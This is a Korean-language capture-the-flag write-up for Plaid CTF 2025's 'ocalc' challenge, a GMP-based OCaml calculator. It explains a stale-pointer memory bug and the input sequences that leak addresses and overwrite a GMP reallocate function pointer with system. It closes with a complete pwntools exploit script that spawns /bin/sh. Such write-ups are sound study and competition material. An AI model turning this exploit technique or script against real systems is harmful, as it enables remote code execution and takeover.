[Plaid CTF 2025] ocalc

Plaid CTF 2025

1. 개요

이 익스는 단일 버그 1개라기보다 다음 조합으로 성립합니다.

1. mpz 객체를 in-place로 계속 갱신하는 연산 구조
2. parse_with 재사용(mpz_swap)으로 내부 포인터 교환이 반복되는 구조
3. drop으로 참조를 제거한 뒤 GC/finalizer 타이밍이 개입하는 구조
4. mpz_get_str가 _mp_d를 그대로 따라 읽는 출력 구조

결과적으로 살아 있는 객체의 내부 포인터(_mp_d)가 stale/오염된 상태가 되고,
그 상태가 leak primitive와 write primitive로 이어집니다.

---

2. 핵심 코드 근거

2.1 in-place 연산 (dst=next)

src/ocalc.ml

| top :: next :: rest ->
    f ~dst:next next top;
    Ok (next :: rest)

| Plus -> binop Mpz.add

의미:

+ 실행 = next = next + top
결과 저장 위치 = next 객체 내부가 가리키는 메모리

2.2 reduce도 in-place (dst=a)

src/mpz.ml

let reduce_binary array ~f =
  ...
  let a = inner arr ~lo ~hi:mid in
  let b = inner arr ~lo:mid ~hi in
  f ~dst:a a b;
  a

2.3 파싱 객체 재사용

src/mpz.ml

let parse_with = create ()

let of_string_opt str =
  if mpz_set_str parse_with str 0 = 0 then (
    let result = create () in
    mpz_swap parse_with result;
    Some result)

2.4 출력 시 _mp_d 추적

src/mpz.ml

let to_string ?(base = 10) x =
  let char_ptr = mpz_get_str nullchar base x in

2.5 출력은 상위 5개만

src/ocalc.ml

let print_state ?(max_to_show = 5) state =
  let show, rest = List.split_n state max_to_show in
  ...

2.6 finalise와 drop의 관계 (즉시 free 아님)

src/mpz.ml

let result = Ctypes.allocate_n ~finalise:mpz_clear mpz_struct ~count:1

의미:

1. drop은 스택 참조만 제거합니다.
2. 제거된 객체가 실제로 unreachable가 되면, 이후 GC 사이클에서 수거 후보가 됩니다.
3. 그때 finalizer(mpz_clear)가 실행되어 _mp_d가 가리키는 limb 메모리가 해제됩니다.

즉 순서는:

drop -> (참조 제거) -> GC -> finalizer(mpz_clear) -> limb free

---

3. 내부 구조(그림)

mpz 객체를 2층으로 보면:

H_A: __mpz_struct 헤더
+0x00  _mp_alloc (int)
+0x04  _mp_size  (int)
+0x08  _mp_d (ptr) -----> L_A (limb 버퍼)
                           [limb0][limb1]...

정상:

H_A._mp_d -> 정상 limb 버퍼

leak run:

H_A._mp_d -> stale/재사용된 다른 메모리 M
M = [qword0][qword1]...
mpz_get_str가 M을 limb처럼 읽음 -> 주소 성분 포함 숫자 출력

---

4. Leak 트리거 (실행 흐름)

4.1 실제 입력 시퀀스

2^64
1
++
0 0 0 0 0
(빈줄 0x2000)
1 x7
drop x12

4.2 스택 변화 (왼쪽이 top)

S0: []
입력 2^64      -> S1: [A]
입력 1         -> S2: [1, A]
입력 ++        -> S3: [A]
입력 0x5       -> S4: [z5,z4,z3,z2,z1,A]
빈줄 0x2000     -> S5: [z5,z4,z3,z2,z1,A]
입력 1x7       -> S6: [1,1,1,1,1,1,1,z5,z4,z3,z2,z1,A]
drop x12       -> S7: [A]

4.3 왜 마지막에 leak이 보이냐

1. drop이 leak을 "생성"하는 명령은 아닙니다.
2. drop x12는 A를 출력 가능한 위치(top)로 노출하는 정렬입니다.
3. leak은 다음 루프의 print_state -> mpz_get_str(A)에서 발생합니다.
4. 그 전에는 [z5,z4,z3,z2,z1,A]처럼 A가 6번째라 출력 5개 제한에 걸려 안 보입니다.

---

5. Leak 관측 예시

관측값:

n = 2385867474323903828391875607265282
hex(n) = 0x75a1e196e1b00000000100000002
lo = 0x100000002
hi = 0x75a1e196e1b0

해석:

n = qword0 + (qword1 << 64)
qword0는 헤더형 패턴, qword1은 주소대 값

즉 상위 64비트(hi)를 leak로 사용 가능.

---

6. "왜 깨지냐" 정리

중요: 객체가 스택에 죽은 포인터로 남는 것이 아니라,
살아 있는 객체 A의 내부 포인터 A._mp_d가 stale이 됩니다.

타임라인 모델:

T1: A 생성 (정상)               A._mp_d -> L_A
T2: parse_with 재사용/swap 반복   내부 포인터 교환 누적
T3: in-place 연산 반복            같은 헤더에 누적 갱신
T4: drop으로 임시 참조 제거        GC/finalizer 대상 증가
T5: 특정 run에서 A._mp_d stale     A는 살아있지만 내부 포인터 오염
T6: mpz_get_str(A) stale 역참조    leak 발생

보강:

drop 직후 곧바로 free되는 것이 아니라, GC/finalizer 타이밍 이후 해제됩니다.
따라서 런타임 타이밍에 따라 stale 포인터 관측 여부가 달라질 수 있습니다.

2^64는 직접 파괴 트리거라기보다, leak 관측이 쉬운 carrier입니다.

---

7. Overwrite 트리거 (실행 흐름)

7.1 핵심 코드

target = gmp_base + GMP_REALLOC_FUNC_PTR_OFF        # __gmp_reallocate_func
payload = (3) | (2 << 32) | (target << 64)
send(str(payload))

for _ in range(41):
    send("drop")

off = (lnk_base + SYSTEM_OFF) - (gmp_base + GMP_DEFAULT_REALLOC_OFF) - 0x6000
send(f"{off} +")

7.2 payload의 정확한 의미 (P와 V 구분)

payload를 숫자로 넣으면 먼저 payload 객체 P가 생성됩니다.
중요한 점은 P 자체가 곧바로 최종 dst가 된다는 뜻이 아니라, P의 limb 데이터가 아래 "fake 헤더 템플릿 바이트"를 담는다는 점입니다.

+0x00: _mp_alloc = 3
+0x04: _mp_size  = 2
+0x08: _mp_d     = target (= &__gmp_reallocate_func)

즉 개념적으로:

P._mp_d -> [ 0x0000000200000003 ][ target ]

최종 overwrite에서 실제 dst로 쓰이는 객체는 보통 별도의 survivor V입니다.

7.3 drop x41의 의미 (값 변형이 아니라 정렬)

스택:

정렬 직전: [P, z*40, V]
drop x41: [V]
off push : [off, V]
'+' 실행 : V = V + off   (dst=next=V)

drop x41은 "객체를 fake로 바꾸는 동작"이 아니라 + 실행 시 dst=V가 되도록 스택을 맞추는 정렬값입니다.

경계값:

drop x40 -> filler가 남아 dst가 어긋남
drop x42 -> V까지 제거되어 연산 실패

7.4 overwrite 순간 (실제 메모리 쓰기)

정렬된 V가 fake 헤더처럼 해석되어 V._mp_d == target이면 실제 쓰기는:

*(uint64_t*)target = *(uint64_t*)target + off

즉 함수포인터 값 overwrite:

__gmp_reallocate_func : __gmp_default_reallocate -> system

---

8. 최종 shell 트리거

cmd_int = int.from_bytes(b"/bin/sh", "little")
send(str(cmd_int))
send(f"{1<<256} +")      # 큰 연산으로 reallocate 경로 강제

결과:

__gmp_reallocate_func(...) -> system(...)

---

#!/usr/bin/env python3
import re

from pwn import *

context.log_level = "error"

GMP_DEFAULT_REALLOC_OFF = 0xb64f
GMP_REALLOC_FUNC_PTR_OFF = 0x69078
SYSTEM_OFF = 0x5bb7e

DELTA_SCHEDULE = [
    0x123E50,
    0x4FBE50,
    0x123E50,
    0x123E50,
    0x4FBE50,
    0x123E50,
    -0x4421B0,
    0x123E50,
    0x4FBE50,
    0x101E50,
    0x123E50,
    0x2FE50,
]

M64 = (1 << 64) - 1
PRELUDE_NUM = 1 << 64
TRIGGER_BIG = 1 << 256
PROMPT_TIMEOUT = 2.0
CMD_TIMEOUT = 1.2
LNK_REL = 0x70000
SHELL_CMD = "/bin/sh"
SHELL_PROBE = "__SHELL_OK__"
PROGRESS_EVERY = 20


def open_local():
    return process(
        ["./build/ld-musl-x86_64.so.1", "--library-path", "./build", "./build/ocalc"],
        stdin=PIPE,
        stdout=PIPE,
        stderr=PIPE,
        env={"OCAMLRUNPARAM": "o=10,s=100"},
    )


def close_tube(io):
    try:
        if io.poll(block=False) is None:
            io.kill()
    except Exception:
        pass
    try:
        io.close()
    except Exception:
        pass


def sendline_after_prompt(io, line: str) -> bool:
    try:
        io.recvuntil(b"@ ", timeout=PROMPT_TIMEOUT)
        io.send((line + "\n").encode())
        return True
    except Exception:
        return False


def skip_empty(io, count: int) -> bool:
    try:
        io.recvuntil(b"@ ", timeout=PROMPT_TIMEOUT)
        io.send((b"\n" * count) + b"\n")
        for _ in range(count):
            io.recvuntil(b"@ ", timeout=PROMPT_TIMEOUT)
        return True
    except Exception:
        return False


def parse_leak_line(line: bytes):
    nums = re.findall(rb"\d+", line)
    if not nums:
        return None
    try:
        n = int(nums[0])
    except ValueError:
        return None
    return (n >> 64) & M64


def stage_leak(io):
    if not sendline_after_prompt(io, str(PRELUDE_NUM)): # 깨진 구조체 트리거
        return None
    if not sendline_after_prompt(io, "1"):
        return None
    if not sendline_after_prompt(io, "++"):
        return None
    if not sendline_after_prompt(io, "0 0 0 0 0"):
        return None
    if not skip_empty(io, 0x2000): #padding 
        return None
    for _ in range(7):
        if not sendline_after_prompt(io, "1"):
            return None
    for _ in range(12):
        if not sendline_after_prompt(io, "drop"):
            return None
    try:
        line = io.recvline(timeout=PROMPT_TIMEOUT)
    except Exception:
        return None
    if not line:
        return None
    return parse_leak_line(line)


def attempt_once(attempt: int):
    #io = open_local()
    io = remote("localhost", 1337)
    #gdb.attach(io)
    ok = False
    try:
        leak = stage_leak(io)
        if leak is None:
            return False, "no_leak"

        delta = DELTA_SCHEDULE[(attempt - 1) % len(DELTA_SCHEDULE)]
        gmp_base = leak + delta
        lnk_base = gmp_base + LNK_REL

        if not sendline_after_prompt(io, "drop"):
            return False, "dead_drop_sync"
        if not sendline_after_prompt(io, str(PRELUDE_NUM)):
            return False, "dead_stage2_prelude"
        if not sendline_after_prompt(io, "1"):
            return False, "dead_stage2_prelude"
        if not sendline_after_prompt(io, "++"):
            return False, "dead_stage2_prelude"
        if not sendline_after_prompt(io, "0 0 0 0 0"):
            return False, "dead_stage2_prelude"
        if not skip_empty(io, 0x2000):
            return False, "dead_stage2_skip"

        for _ in range(35):
            if not sendline_after_prompt(io, "0"):
                return False, "dead_stage2_zeros"

        target = gmp_base + GMP_REALLOC_FUNC_PTR_OFF
        payload = (3) | (2 << 32) | (target << 64)
        if not sendline_after_prompt(io, str(payload)):
            return False, "dead_payload"

        for _ in range(41):
            if not sendline_after_prompt(io, "drop"):
                return False, "dead_drop_align"

        off = (lnk_base + SYSTEM_OFF) - (gmp_base + GMP_DEFAULT_REALLOC_OFF) - 0x6000
        if not sendline_after_prompt(io, f"{off} +"):
            return False, "dead_patch_add"

        cmd_int = int.from_bytes(SHELL_CMD.encode("latin1"), "little")
        if not sendline_after_prompt(io, str(cmd_int)):
            return False, "dead_cmd_seed"
        if not sendline_after_prompt(io, f"{TRIGGER_BIG} +"):
            return False, "dead_trigger"

        out = io.recvrepeat(CMD_TIMEOUT).decode("latin1", "ignore")
        io.send(f"echo {SHELL_PROBE}\n".encode())
        out += io.recvrepeat(CMD_TIMEOUT).decode("latin1", "ignore")
        if SHELL_PROBE.lower() not in out.lower():
            return False, "no_shell_output"

        print(
            f"[attempt {attempt}] leak_hi={hex(leak)} delta={hex(delta)} "
            f"gmp={hex(gmp_base)} lnk={hex(lnk_base)}"
        )
        print(out, end="" if out.endswith("\n") else "\n")
        ok = True
        io.interactive()
        return True, "success"
    except Exception:
        return False, "exception"
    finally:
        if not ok:
            close_tube(io)


def main():
    attempt = 0
    stats = {}
    while True:
        attempt += 1
        ok, reason = attempt_once(attempt)
        stats[reason] = stats.get(reason, 0) + 1
        if ok:
            print(f"[+] shell on attempt {attempt}")
            return
        if attempt % PROGRESS_EVERY == 0:
            summary = " ".join(f"{k}:{v}" for k, v in sorted(stats.items()))
            print(f"[progress] {attempt} {summary}", flush=True)


if __name__ == "__main__":
    main()